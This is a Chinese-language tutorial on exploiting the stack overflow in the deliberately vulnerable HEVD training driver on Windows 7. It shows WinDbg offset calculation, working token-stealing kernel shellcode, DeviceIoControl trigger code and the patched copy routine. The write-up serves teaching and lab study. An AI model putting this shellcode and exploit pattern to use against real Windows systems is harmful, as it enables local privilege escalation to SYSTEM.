Windows Kernel Exploit(二) -> StackOverflow
字数 1096 2025-08-05 08:20:12
Windows内核漏洞利用:栈溢出漏洞分析与利用
1. 漏洞环境准备
1.1 所需工具和环境
- Windows 7 x86 sp1虚拟机
- Windbg调试工具(建议配合VirtualKD使用)
- HEVD (HackSys Extreme Vulnerable Driver) + OSR Loader构造漏洞环境
1.2 漏洞驱动分析
漏洞位于HEVD驱动中的TriggerStackOverflow函数,该函数存在栈溢出漏洞。
2. 漏洞原理分析
2.1 栈溢出基本原理
栈溢出是当程序向栈上的缓冲区写入超过其分配大小的数据时发生的漏洞。在Windows内核中,这种漏洞可能导致任意代码执行。
2.2 漏洞代码分析
int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size) {
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]
KernelBuffer[0] = 0;
memset(&KernelBuffer[1], 0, 0x7FCu);
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}
关键问题:
KernelBuffer大小为0x800字节(512个4字节整数)memcpy直接使用用户提供的Size参数,没有进行边界检查- 当
Size大于0x800时,会导致栈溢出
3. 漏洞利用技术
3.1 偏移量计算
通过Windbg调试确定覆盖返回地址所需的偏移量:
- 在
TriggerStackOverflow函数开始处设置断点 - 在
memcpy函数处设置断点 - 计算返回地址与缓冲区起始地址的偏移
调试过程:
kd> bl
0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow:8c6d162a 680c080000 push 80Ch
kd> r
eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:8c6d162a 680c080000 push 80Ch
kd> dd esp
91a03ad4 8c6d1718 0032f018 00000907 91a03afc
...
计算偏移量:
返回地址位置:0x91a03ad4
KernelBuffer起始位置:0x91a032b4
偏移量 = 0x91a03ad4 - 0x91a032b4 = 0x820
3.2 利用思路
- 构造0x820字节的缓冲区
- 在偏移0x820处放置shellcode地址
- 通过DeviceIoControl触发漏洞
3.3 Shellcode编写
需要考虑栈平衡问题,修复被覆盖的EBP值:
VOID ShellCode() {
__asm {
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax+050h]
mov ecx, eax
mov edx, 4
find_sys_pid:
mov eax, [eax+0b8h]
sub eax, 0b8h
cmp [eax+0b4h], edx
jnz find_sys_pid
mov edx, [eax+0f8h]
mov [ecx+0f8h], edx
popad
pop ebp
ret 8
}
}
关键点:
- 通过fs:[124h]获取当前线程的_KTHREAD结构
- 遍历进程链表找到系统进程(pid=4)
- 复制系统进程的token到当前进程
3.4 漏洞触发代码
char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824, NULL, 0, &bReturn, NULL);
4. 补丁分析
安全版本修复方式:
#ifdef SECURE
// 安全版本:使用固定大小复制
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
// 漏洞版本:直接使用用户提供的Size
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
修复关键:
- 使用
sizeof(KernelBuffer)代替用户提供的Size - 确保复制的数据不会超过目标缓冲区大小
5. 扩展思考
与Linux栈溢出的区别:
- Windows内核栈溢出需要考虑不同的调用约定(__stdcall)
- 需要处理栈平衡问题
- 现代Windows系统有更多安全机制(如GS, CFG等)
- 提权方式通常通过token替换实现
6. 调试技巧
关键断点设置:
HEVD!TriggerStackOverflow函数入口memcpy调用处- Shellcode入口
重要寄存器观察:
- ESP/EBP - 栈指针和基址指针
- EIP - 指令指针
- FS段寄存器 - 包含线程相关信息
内存观察命令:
dd esp- 查看栈内容r- 查看寄存器状态u- 反汇编代码